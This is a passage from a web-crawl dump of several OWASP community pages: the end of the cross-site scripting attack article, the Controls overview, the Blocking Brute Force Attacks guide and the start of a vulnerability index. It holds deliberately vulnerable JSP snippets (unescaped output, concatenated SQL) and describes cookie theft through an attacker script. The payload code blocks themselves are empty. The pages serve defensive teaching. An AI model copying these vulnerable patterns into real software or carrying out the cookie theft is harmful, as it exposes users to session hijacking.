[XSS Filter Evasion Cheat Sheet](../../xss-filter-evasion-cheatsheet) which is a true\nencyclopedia of the alternate XSS syntax attack.\n\n## Examples\n\nCross-site scripting attacks may occur anywhere that possibly malicious\nusers are allowed to post unregulated material to a trusted website for\nthe consumption of other valid users.\n\nThe most common example can be found in bulletin-board websites which\nprovide web based mailing list-style functionality.\n\n### Example 1\n\nThe following JSP code segment reads an employee ID, eid, from an HTTP\nrequest and displays it to the user.\n\n```\n<% String eid = request.getParameter(\"eid\"); %>\n...\nEmployee ID: <%= eid %>\n```\n\nThe code in this example operates correctly if `eid` contains only\nstandard alphanumeric text. If `eid` has a value that includes\nmeta-characters or source code, then the code will be executed by the\nweb browser as it displays the HTTP response.\n\nInitially, this might not appear to be much of a vulnerability. After\nall, why would someone enter a URL that causes malicious code to run on\ntheir own computer? The real danger is that an attacker will create the\nmalicious URL, then use e-mail or social engineering tricks to lure\nvictims into visiting a link to the URL. When victims click the link,\nthey unwittingly reflect the malicious content through the vulnerable\nweb application back to their own computers. This mechanism of\nexploiting vulnerable web applications is known as Reflected XSS.\n\n### Example 2\n\nThe following JSP code segment queries a database for an employee with a\ngiven ID and prints the corresponding employee’s name.\n\n```\n<%... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery(\"select * from emp where id=\"+eid); if (rs != null) { rs.next(); String name = rs.getString(\"name\"); %>\n\nEmployee Name: <%= name %> \n```\n\nAs in Example 1, this code functions correctly when the values of name\nare well-behaved, but it does nothing to prevent exploits if they are\nnot. Again, this code can appear less dangerous because the value of\nname is read from a database, whose contents are apparently managed by\nthe application. However, if the value of name originates from\nuser-supplied data, then the database can be a conduit for malicious\ncontent. Without proper input validation on all data stored in the\ndatabase, an attacker can execute malicious commands in the user’s web\nbrowser. This type of exploit, known as Stored XSS, is particularly\ninsidious because the indirection caused by the data store makes it more\ndifficult to identify the threat and increases the possibility that the\nattack will affect multiple users. XSS got its start in this form with\nwebsites that offered a “guestbook” to visitors. Attackers would include\nJavaScript in their guestbook entries, and all subsequent visitors to\nthe guestbook page would execute the malicious code.\n\nAs the examples demonstrate, XSS vulnerabilities are caused by code that\nincludes unvalidated data in an HTTP response. There are three vectors\nby which an XSS attack can reach a victim:\n\n- As in Example 1, data is read directly from the HTTP request and\n reflected back in the HTTP response. Reflected XSS exploits occur\n when an attacker causes a user to supply dangerous content to a\n vulnerable web application, which is then reflected back to the user\n and executed by the web browser. The most common mechanism for\n delivering malicious content is to include it as a parameter in a\n URL that is posted publicly or e-mailed directly to victims. URLs\n constructed in this manner constitute the core of many phishing\n schemes, whereby an attacker convinces victims to visit a URL that\n refers to a vulnerable site. After the site reflects the attacker’s\n content back to the user, the content is executed and proceeds to\n transfer private information, such as cookies that may include\n session information, from the user’s machine to the attacker or\n perform other nefarious activities.\n- As in Example 2, the application stores dangerous data in a database\n or other trusted data store. The dangerous data is subsequently read\n back into the application and included in dynamic content. Stored\n XSS exploits occur when an attacker injects dangerous content into a\n data store that is later read and included in dynamic content. From\n an attacker’s perspective, the optimal place to inject malicious\n content is in an area that is displayed to either many users or\n particularly interesting users. Interesting users typically have\n elevated privileges in the application or interact with sensitive\n data that is valuable to the attacker. If one of these users\n executes malicious content, the attacker may be able to perform\n privileged operations on behalf of the user or gain access to\n sensitive data belonging to the user.\n- A source outside the application stores dangerous data in a database\n or other data store, and the dangerous data is subsequently read\n back into the application as trusted data and included in dynamic\n content.\n\n### Attack Examples\n\n**Example 1: Cookie Grabber**\n\nIf the application doesn’t validate the input data, the attacker can\neasily steal a cookie from an authenticated user. All the attacker has\nto do is to place the following code in any posted input(ie: message\nboards, private messages, user profiles):\n\n```\n \n```\n\nThe above code will pass an escaped content of the cookie (according to\nRFC content must be escaped before sending it via HTTP protocol with GET\nmethod) to the evil.php script in “cakemonster” variable. The attacker\nthen checks the results of their evil.php script (a cookie grabber script\nwill usually write the cookie to a file) and use it.\n\n### Error Page Example\n\nLet’s assume that we have an error page, which is handling requests for\na non existing pages, a classic 404 error page. We may use the code\nbelow as an example to inform user about what specific page is missing:\n\n```\n \n```\n\nLet’s see how it works: `http://testsite.test/file_which_not_exist`\nIn response we get: `Not found: /file_which_not_exist`\n\nNow we will try to force the error page to include our code: `http://testsite.test/`\nThe result is: `Not found: / (but with JavaScript code )`\n\nWe have successfully injected the code, our XSS! What does it mean? For\nexample, that we may use this flaw to try to steal a user’s session\ncookie.\n\n- [XSS Attacks](https://owasp.org/www-community/attacks/xss/)\n- [Invoking untrusted mobile code](https://owasp.org/www-community/attacks/Mobile_code_invoking_untrusted_mobile_code)\n- [Cross Site History Manipulation (XSHM)](https://owasp.org/www-community/attacks/Cross_Site_History_Manipulation_(XSHM))\n\n- [Improper Data Validation](https://owasp.org/www-community/vulnerabilities/Improper_Data_Validation)\n- [Types of Cross-Site Scripting](https://owasp.org/www-community/Types_of_Cross-Site_Scripting)\n- OWASP Development Guide [article on Data Validation](https://wiki.owasp.org/index.php/Data_Validation)\n- OWASP Development Guide [article on Phishing](https://wiki.owasp.org/index.php/Phishing)\n\n- [Data Validation](https://wiki.owasp.org/index.php/Data_Validation)\n\n## References\n\n- OWASP’s [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [Testing_for_Reflected_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting.html)\n- [Testing_for_Stored_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/07-Input_Validation_Testing/02-Testing_for_Stored_Cross_Site_Scripting.html)\n- [Testing_for_DOM-based_Cross_site_scripting](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/01-Testing_for_DOM-based_Cross_Site_Scripting.html)\n- [The Cross Site Scripting FAQ](https://www.cgisecurity.com/xss-faq.html)\n- OWASP [XSS Filter Evasion Cheat Sheet](/xss-filter-evasion-cheatsheet)\n- [CERT Advisory on Malicious HTML Tags](http://www.cert.org/advisories/CA-2000-02.html)\n- [CERT “Understanding Malicious Content Mitigation](http://www.cert.org/tech_tips/malicious_code_mitigation.html)\n- [Understanding the cause and effect of CSS Vulnerabilities](http://www.technicalinfo.net/papers/CSS.html)\n- [XSSed](http://www.xssed.com) - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites\n\n[Category:Injection](https://owasp.org/www-community/Injection_Flaws) [Category:OWASP Top Ten Project](https://owasp.org/www-project-top-ten/) [Category:Attack](https://owasp.org/www-community/attacks/)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 19355, "slov": 2672, "odkazu": 57, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:56", "sha256": "84c6f761794a60026e387724005cdaf1081fb288d1437f3947d25a1921b0ca28", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html", "https://wiki.owasp.org/index.php/Data_Validation", "https://wiki.owasp.org/index.php/Phishing", "http://www.webappsec.org/projects/articles/071105.shtml", "https://www.owasp.org/www-project-enterprise-security-api", "https://www.owasp.org/www-project-webgoat/", "https://www.cgisecurity.com/xss-faq.html", "http://www.cert.org/advisories/CA-2000-02.html", "http://www.cert.org/tech_tips/malicious_code_mitigation.html", "http://www.technicalinfo.net/papers/CSS.html", "http://www.xssed.com/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/controls/", "titulek": "Controls | OWASP Foundation", "h1": "Controls", "popis": "Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/controls/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Controls on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Controls | OWASP Foundation", "og:url": "https://community.owasp.org/controls/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Controls"}, {"uroven": 2, "text": "What is a control"}, {"uroven": 2, "text": "List of Controls"}, {"uroven": 2, "text": "Further References"}], "markdown": "# Controls\n\nThis category is a parent category used to track categories of controls (or countermeasure, security mechanisms).\n\n## What is a control\n\nAs an abstract category of concepts, it can be difficult to grasp where controls fit into the collection of policies, procedures, and standards that create the structures of governance, management, practices and patterns necessary to secure software and data. Where each of these conceptual business needs is addressed through documentation with differing levels of specificity, it is useful to look at where controls fit in relation to these other structures. Security controls can be categorized in several ways. One useful breakdown is the axis that includes administrative, technical and physical controls. Controls in each of these areas support the others. Another useful breakdown is along the categories of preventive, detective and corrective.\n\nISACA defines control as the means of managing risk, including policies, procedures, guidelines, practices or organizational structures, which can be of an administrative, technical, management, or legal nature.[ISACA Glossary](http://www.isaca.org/Pages/Glossary.aspx?tid=2011&char=C)\n\nWhile the ISACA COBIT standard is frequently referenced with regard to information security control, the design of the standard places its\nguidance mostly at the level of governance with very little that will help us design or implement secure software. U.S. National Institute of Standards and Technology (NIST) Special Publication 800-53, *Security and Privacy Controls for Federal Information Systems and Organizations* is widely referenced for its fairly detailed catalog of security controls. It does not, however, define what a control should be.\n\nThe Council on CyberSecurity Critical Security Controls list provides very little detail on specific measures we can implement in software.\nAmong the 20 critical controls we find “Application Software Security” with 11 recommended implementation measures:\n\n1. Patching\n2. Implement a Web Application Firewall (WAF)\n3. Error checking all input\n4. Use an automated scanner to look for security weaknesses\n5. Output sanitization of error messages\n6. Segregation development and production environments\n7. Secure code analysis, manual and automated\n8. Verify vendor security processes\n9. Database configuration hardening\n10. Train developers on writing secure code\n11. Remove development artifacts from production code\n\nOf these 11, it is interesting to note that two relate to infrastructure architecture, four are operational, two are part of testing processes, and only three are things that are done as part of coding.\n\nWhile many controls are definitely of a technical nature, it is important to distinguish the way in which controls differ from coding\ntechniques. Many things we might think of as controls, should more properly be put into coding standards or guidelines. As an example, NIST\nSP800-53 suggests five controls related to session management:\n\n- Concurrent Session Control\n- Session Lock\n- Session Termination\n- Session Audit\n- Session Authenticity\n\nNote that three of these are included within the category of Access Controls. In most cases, NIST explicitly calls for the organization to\ndefine some of the elements of how these controls should be implemented.\n\nIn contrast, the OWASP [Session_Management_Cheat_Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\ndoes a very good job at illustrating session management implementation techniques and suggests some standards. These kinds of standards and\nguidelines spell out specific implementation of controls.\n\nWhile different organizations and standards will write controls at differing levels of abstraction, it is generally recognized that\ncontrols should be defined and implemented to address business needs for security. COBIT 5 makes this explicit by mapping enterprise goals to IT-related goals, process goals, management practices and activities.The management practices map to items that were described in COBIT 4 as control objectives. Each organization and process area will define their controls differently, but this alignment of controls to objectives and activities is a strong commonality between different standards. Activities are often the means by which controls are implemented. They are written out in procedures that specify the intended operation of controls. A procedure is not, in itself, a control. A given procedure may address multiple controls and a given control may require more than one procedure to fully implement.\n\nSo, we’ve found that the concept of a security control is hard to define clearly in a way that enables practitioners to begin writing controls and putting them to use. Some definitions exist, but are open to wide interpretation and may not be adaptable to every need. At this point we can hazard some statements that may provide further clarity. Control statements should be concisely worded to specify required process outcomes. While this is very similar to a policy statement, policies are generally more oriented toward enterprise goals, whereas controls are more oriented toward process goals.\n\nA control differs from a standard in that the standard is focused on requirements for specific tools that may be used, coding structures, or\ntechniques.\n\n**Figure 1** - Relationship of control statements to control objectives and other documentation\n\nNecessary controls in an application should be identified using risk assessment. [Threat modeling](/Threat_Modeling) is one\ncomponent of risk assessment that examines the threats, vulnerabilities and exposures of an application. Threat modeling will help to identify many of the technical controls necessary for inclusion within the application development effort. It should be combined with other risk assessment techniques that also take into account the larger organizational impacts of the application.\n\n## List of Controls\n\n- [Blocking Brute Force Attacks](/controls/Blocking_Brute_Force_Attacks) by Esheridan\n- [Bytecode Obfuscation](/controls/Bytecode_obfuscation) by Pierre Parrend\n- [Certificate and Public Key Pinning](/controls/Certificate_and_Public_Key_Pinning) by Mark Gamache, Kevin Wall\n- [Changing A User's Registered Email Address](/pages/controls/Changing_Registered_Email_Address_For_An_Account.html) by Philip H. Schlesinger\n- [Content Security Policy](/controls/Content_Security_Policy) by Dominique RIGHETTO\n- [Cross-Origin Resource Policy (CORP)](/controls/CrossOriginResourcePolicy) by Vaibhav Malik\n- [Detect Profiling Phase](/controls/Detect_profiling_phase_into_web_application) by Dominique RIGHETTO\n- [Intrusion Detection](/controls/Intrusion_Detection)\n- [Least Privilege Principle](/controls/Least_Privilege_Principle) by Shezan Rohinton Mirzan\n- [Session Fixation Protection](/controls/Session_Fixation_Protection) by RoganDawes\n- [Static Code Analysis](/controls/Static_Code_Analysis) by Ryan Dewhurst\n- [Subresource Integrity (SRI)](/controls/SubresourceIntegrity) by Vaibhav Malik\n- [Web Application Deception Technology](/controls/WebAppDeception) by Vaibhav Malik\n- [Controls](/controls/)\n\n## Further References\n\n1. [Cobit 5: Enabling Processes. ISACA. (2012)](https://www.isaca.org/bookstore/cobit-5/cb5ep)\n2. Joint Task Force Transformation Initiative. Special Publication 800-53 revision 4. (2013) U.S. National Institute of Standards and Technology. [Security and Privacy Controls for Federal Information Systems and organizations](https://dx.doi.org/10.6028/NIST.SP.800-53r4)\n3. [Critical Security Controls. Center for Internet Security.](https://www.cisecurity.org/controls/)\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 7725, "slov": 996, "odkazu": 46, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 16:27:09", "sha256": "03d1daa90de30408ad841462791267b3065bbf5e51d0e193b5552cbf4402caa1", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "http://www.isaca.org/Pages/Glossary.aspx?char=C&tid=2011", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://www.isaca.org/bookstore/cobit-5/cb5ep", "https://dx.doi.org/10.6028/NIST.SP.800-53r4", "https://www.cisecurity.org/controls/", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/controls/Blocking_Brute_Force_Attacks", "titulek": "Blocking Brute Force Attacks | OWASP Foundation", "h1": "Blocking Brute Force Attacks", "popis": "Blocking Brute Force Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/controls/Blocking_Brute_Force_Attacks", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Blocking Brute Force Attacks on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Blocking Brute Force Attacks | OWASP Foundation", "og:url": "https://community.owasp.org/controls/Blocking_Brute_Force_Attacks", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Blocking Brute Force Attacks"}, {"uroven": 2, "text": "Blocking Brute Force Attacks"}, {"uroven": 2, "text": "Locking Accounts"}, {"uroven": 2, "text": "Device Cookies"}, {"uroven": 2, "text": "Finding Other Countermeasures"}, {"uroven": 3, "text": "Figure 1: Password Authentication Delay: C#"}, {"uroven": 3, "text": "Figure 2: Password Authentication Delay: VB.NET"}], "markdown": "# Blocking Brute Force Attacks\n\n**Author:** Esheridan \n **Contributor(s):** KirstenS, Paul McMillan, Raesene, Adedov, Dinis.Cruz, JoE, Daniel Waller, kingthorin\n\n## Blocking Brute Force Attacks\n\nA common threat web developers face is a password-guessing attack known as a brute force attack. \nA brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbers, and symbols until you discover the one correct combination that works. \nIf your web site requires user authentication, you are a good target for a brute-force attack.\n\nAn attacker can always discover a password through a brute-force attack, but the downside is that it could take years to find it.\nDepending on the password’s length and complexity, there could be trillions of possible combinations.\n\nTo speed things up a bit, a brute-force attack could start with dictionary words or slightly modified dictionary words because most people will use those rather than a completely random password. These attacks are called dictionary attacks or hybrid brute-force attacks.\nBrute-force attacks put user accounts at risk and flood your site with unnecessary traffic.\n\nHackers launch brute-force attacks using widely available tools that utilize wordlists and smart rulesets to intelligently and automatically guess user passwords. Although such attacks are easy to detect, they are not so easy to prevent.\n\nFor example, many HTTP brute-force tools can relay requests through a list of open proxy servers. Since each request appears to come from a different IP address, you cannot block these attacks simply by blocking the IP address. \nTo further complicate things, some tools try a different username and password on each attempt, so you cannot lock out a single account for failed password attempts.\n\n## Locking Accounts\n\nThe most obvious way to block brute-force attacks is to simply lock out accounts after a defined number of incorrect password attempts. \nAccount lockouts can last a specific duration, such as one hour, or the accounts could remain locked until manually unlocked by an administrator.\n\nHowever, account lockout is not always the best solution, because someone could easily abuse the security measure and lock out hundreds of user accounts. \nIn fact, some Web sites experience so many attacks that they are unable to enforce a lockout policy because they would constantly be unlocking customer accounts.\n\nThe problems with account lockouts are:\n\n- An attacker can cause a denial of service (DoS) by locking out large numbers of accounts.\n- Because you cannot lock out an account that does not exist, only valid account names will lock. An attacker could use this fact to harvest usernames from the site, depending on the error responses.\n- An attacker can cause a diversion by locking out many accounts and flooding the help desk with support calls.\n- An attacker can continuously lock out the same account, even seconds after an administrator unlocks it, effectively disabling the account.\n- Account lockout is ineffective against slow attacks that try only a few passwords every hour.\n- Account lockout is ineffective against attacks that try one password against a large list of usernames.\n- Account lockout is ineffective if the attacker is using a username/password combo list and guesses correctly on the first couple of attempts.\n- Powerful accounts such as administrator accounts often bypass lockout policy, but these are the most desirable accounts to attack. Some systems lock out administrator accounts only on network-based logins.\n- Even once you lock out an account, the attack may continue, consuming valuable human and computer resources.\n\nAccount lockout is sometimes effective, but only in controlled environments or in cases where the risk is so great that even continuous DoS attacks are preferable to account compromise. \nIn most cases, however, account lockout is insufficient for stopping brute-force attacks.\n\nConsider, for example, an auction site on which several bidders are fighting over the same item. \nIf the auction Web site enforced account lockouts, one bidder could simply lock the others’ accounts in the last minute of the auction, preventing them from submitting any winning bids. \nAn attacker could use the same technique to block critical financial transactions or e-mail communications.\n\n## Device Cookies\n\nYou may also consider locking out authentication attempts from known and unknown browsers or devices separately. \nThe [Slow Down Online Guessing Attacks with Device Cookies](/Slow_Down_Online_Guessing_Attacks_with_Device_Cookies) article proposes protocol for lockout mechanism based on information about if specific browser have been already used for successful login.\nThe protocol is less susceptible to DoS attacks than plain account locking out and yet effective and easy to implement.\n\n## Finding Other Countermeasures\n\nAs described, account lockouts are usually not a practical solution, but there are other tricks to deal with brute force attacks. \nFirst, since the success of the attack is dependent on time, an easy solution is to inject random pauses when checking a password. \nAdding even a few seconds’ pause can greatly slow a brute-force attack but will not bother most legitimate users as they log in to their accounts.\n\nNote that although adding a delay could slow a single-threaded attack, it is less effective if the attacker sends multiple simultaneous authentication requests.\n\nAnother solution is to lock out an IP address with multiple failed logins. \nThe problem with this solution is that you could inadvertently block large groups of users by blocking a proxy server used by an ISP or large company.\nAnother problem is that many tools utilize proxy lists and send only a few requests from each IP address before moving on to the next.\n\nUsing widely available open proxy lists, an attacker could easily circumvent any IP blocking mechanism. \nBecause most sites do not block after just one failed password, an attacker can use two or three attempts per proxy. \nAn attacker with a list of 1,000 proxies can attempt 2,000 or 3,000 passwords without being blocked.\n\nNevertheless, despite this method’s weaknesses, Web sites that experience high numbers of attacks (adult Web sites in particular) do choose to block proxy IP addresses.\n\nOne simple yet surprisingly effective solution is to design your Website not to use predictable behavior for failed passwords. \nFor example, most Web sites return an “HTTP 401 error” code with a password failure, although some web sites instead return an “HTTP 200 SUCCESS” code but direct the user to a page explaining the failed password attempt. \nThis fools some automated systems, but it is also easy to circumvent.\n\nA better solution might be to vary the behavior enough to eventually discourage all but the most dedicated hackers. \nYou could, for example, use different error messages each time or sometimes let a user through to a page and then prompt them again for a password.\n\nSome automated brute-force tools allow the attacker to set certain trigger strings to look for that indicate a failed password attempt. \nFor example, if the resulting page contains the phrase “Bad username or password,” the tool would know the credentials failed and would try the next in the list. \nA simple way to fool these tools is to include also those phrases as comments in the HTML source of the page they get when they successfully authenticate.\n\nAfter one or two failed login attempts, you may want to prompt the user not only for the username and password but also to answer a secret question.\nThis not only causes problems with automated attacks, it prevents an attacker from gaining access, even if they do get the username and password correct.\n\nYou could also detect high numbers of attacks system-wide and under those conditions prompt all users for the answer to their secret questions.\n\nOther techniques you might want to consider are:\n\n- For advanced users who want to protect their accounts from attack, give them the option to allow login only from certain IP addresses.\n- Assign unique login URLs to blocks of users so that not all users can access the site from the same URL.\n- Use a CAPTCHA to prevent automated attacks\n- Instead of completely locking out an account, place it in a lockdown mode with limited capabilities.\n\nAttackers can often circumvent many of these techniques by themselves, but by combining several techniques, you can significantly limit brute-force attacks.\nIt might be difficult to stop an attacker who is determined to obtain a password specifically from your web site, but these techniques certainly can be effective against many attacks, including those from novice hackers. \nThese techniques also require more work on the attacker’s part, which gives you more opportunity to detect the attack and maybe even identify the attacker.\n\nAlthough brute-force attacks are difficult to stop completely, they are easy to detect because each failed login attempt records an HTTP 401 status code in your Web server logs. \nIt is important to monitor your logfiles for brute-force attacks – in particular, the intermingled 200 statuscodes that mean the attacker found a valid password.\n\nHere are conditions that could indicate a brute-force attack or other account abuse:\n\n- Many failed logins from the same IP address\n- Logins with multiple usernames from the same IP address\n- Logins for a single account coming from many different IP addresses\n- Excessive usage and bandwidth consumption from a single use\n- Failed login attempts from alphabetically sequential usernames or passwords\n- Logins with a referring URL of someone’s mail or IRC client\n- Referring URLs that contain the username and password in the format \n- If protecting an adult Web site, referring URLs of known password-sharing sites\n- Logins with suspicious passwords hackers commonly use, such as ownsyou (ownzyou), washere (wazhere), zealots, hacksyou, and the like\n\nBrute force attacks are surprisingly difficult to stop completely, but with careful design and multiple countermeasures, you can limit your exposure to these attacks.\n\nUltimately, the only best defense is to make sure that users follow basic rules for strong passwords: use long unpredictable passwords, avoid dictionary words, avoid reusing passwords, and change passwords regularly.\n\nA completely automated public Turing test to tell computers and humans apart, or CAPTCHA, is a program that allows you to distinguish between humans and computers.\nFirst widely used by Alta Vista to prevent automated search submissions, CAPTCHAs are particularly effective in stopping any kind of automated abuse, including brute-force attacks.\n\nThey work by presenting some test that is easy for humans to pass but difficult for computers to pass; therefore, they can conclude with some certainty whether there is a human on the other end.\n\nFor a CAPTCHA to be effective, humans must be able to answer the test correctly as close to 100 percent of the time as possible. \nComputers must fail as close to 100 percent of the time as possible. \nResearchers at Carnegie Mellon’s School of Computer Science continually [work to improve and introduce new CAPTCHAs](www.captcha.net/captchas).\n\nIf you are developing your own CAPTCHA, keep in mind that it is not how hard the question is that matters-it is how likely it is that a computer will get the correct answer. \nI once saw a CAPTCHA that presents the user with a picture of three zebras, with a multiple-choice question asking how many zebras were in the picture. \nTo answer the question, you click one of three buttons.\n\nAlthough it would be very difficult for a computer program to both understand the question and interpret the picture, the program could just randomly guess any answer and get it correct a third of the time. Although this might seem a satisfactory level of risk, it is by no means an effective CAPTCHA. \nIf you run a free e-mail service and use a CAPTCHA such as this to prevent spammers from creating accounts in bulk, all they have to do is write a script to automatically create 1,000 accounts and expect on average that 333 of those attempts will be successful.\n\nNevertheless, a simple CAPTCHA may still be effective against brute-force attacks.\nWhen you combine the chance of an attacker sending a correct username and password guess with the chance of guessing the CAPTCHA correctly, combined with other techniques described in this chapter, even a simple CAPTCHA could prove effective.\n\n### Figure 1: Password Authentication Delay: C#\n\n```\nprivate void AuthenticateRequest(object obj, EventArgs ea) { HttpApplication objApp = (HttpApplication) obj; HttpContext objContext = (HttpContext) objApp.Context; // If user identity is not blank, pause for a random amount of time if ( objApp.User.Identity.Name != \"\") { Random rand = new Random(); Thread.Sleep(rand.Next(minSeconds, maxSeconds) * 1000); } } \n```\n\n### Figure 2: Password Authentication Delay: VB.NET\n\n```\nPublic Sub AuthenticateRequest(ByVal obj As Object, ByVal ea As System.EventArgs) Dim objApp As HttpApplication Dim objContext As HttpContext Dim ran As Random objApp = obj objContext = objApp.Context ' If user identity is not blank, pause for a random amount of time If objApp.User.Identity.Name <> \"\" Then ran = New Random Thread.Sleep(ran.Next(ran.Next(minSeconds, maxSeconds) * 1000)) End If End Sub \n```\n\n---\n\n[Watch](https://github.com/owasp/www-community/subscription) [Star](https://github.com/owasp/www-community)", "znaku_textu": 13526, "slov": 2133, "odkazu": 30, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 22:15:44", "sha256": "2cb577bcf6e91ad82a3fa8b026fdfefc9b5af7deaccd04c26ab9f43b77aa00e5", "hloubka": 3, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/owasp/www-community/subscription", "https://github.com/owasp/www-community", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-community/vulnerabilities/", "titulek": "Vulnerabilities | OWASP Foundation", "h1": "Vulnerabilities", "popis": "Vulnerabilities on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://community.owasp.org/vulnerabilities/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "Vulnerabilities on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "Vulnerabilities | OWASP Foundation", "og:url": "https://community.owasp.org/vulnerabilities/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Vulnerabilities"}, {"uroven": 2, "text": "What is a vulnerability?"}, {"uroven": 2, "text": "Examples of vulnerabilities"}, {"uroven": 2, "text": "List of Vulnerabilities"}], "markdown": "# Vulnerabilities\n\n## What is a vulnerability?\n\nA vulnerability is a hole or a weakness in the application, which can be\na design flaw or an implementation bug, that allows an attacker to cause\nharm to the stakeholders of an application. Stakeholders include the\napplication owner, application users, and other entities that rely on\nthe application.\n\nPlease **do not post any actual vulnerabilities** in products, services,\nor web applications. Those disclosure reports should be posted to\nbugtraq or full-disclosure mailing lists.\n\n## Examples of vulnerabilities\n\n- Lack of input validation on user input\n- Lack of sufficient logging mechanism\n- Fail-open error handling\n- Not closing the database connection properly\n\nFor a great overview, check out the [OWASP Top Ten\nProject](/www-project-top-ten). You can read about the top\nvulnerabilities and download a paper that covers them in detail. Many\norganizations and agencies use the Top Ten as a way of creating\nawareness about application security.\n\n**NOTE:** Before you add a vulnerability, please search and make sure\nthere isn’t an equivalent one already. You may want to consider creating\na redirect if the topic is the same. Every vulnerability article has a\ndefined structure.\n\n## List of Vulnerabilities\n\n- [Allowing Domains or Accounts to Expire](/vulnerabilities/Allowing_Domains_or_Accounts_to_Expire)\n- [Buffer Overflow](/vulnerabilities/Buffer_Overflow)\n- [Business logic vulnerability](/vulnerabilities/Business_logic_vulnerability)\n- [CRLF Injection](/vulnerabilities/CRLF_Injection)\n- [CSV Injection](/attacks/CSV_Injection) by Timo Goosen, Albinowax\n- [Catch NullPointerException](/vulnerabilities/Catch_NullPointerException)\n- [Covert storage channel](/vulnerabilities/Covert_storage_channel)\n- [Deserialization of untrusted data](/vulnerabilities/Deserialization_of_untrusted_data)\n- [Directory Restriction Error](/vulnerabilities/Directory_Restriction_Error)\n- [Doubly freeing memory](/vulnerabilities/Doubly_freeing_memory)\n- [Empty String Password](/vulnerabilities/Empty_String_Password)\n- [Expression Language Injection](/vulnerabilities/Expression_Language_Injection)\n- [Full Trust CLR Verification issue Exploiting Passing Reference Types by Reference](/vulnerabilities/Full_Trust_CLR_Verification_issue_Exploiting_Passing_Reference_Types_by_Reference)\n- [Heartbleed Bug](/vulnerabilities/Heartbleed_Bug)\n- [Improper Data Validation](/vulnerabilities/Improper_Data_Validation)\n- [Improper pointer subtraction](/vulnerabilities/Improper_pointer_subtraction)\n- [Information exposure through query strings in URL](/vulnerabilities/Information_exposure_through_query_strings_in_url) by Robert Gilbert (amroot)\n- [Injection problem](/vulnerabilities/Injection_problem)\n- [Insecure Deserialization](/vulnerabilities/Insecure_Deserialization) by Vaibhav Malik\n- [Insecure Compiler Optimization](/vulnerabilities/Insecure_Compiler_Optimization)\n- [Insecure 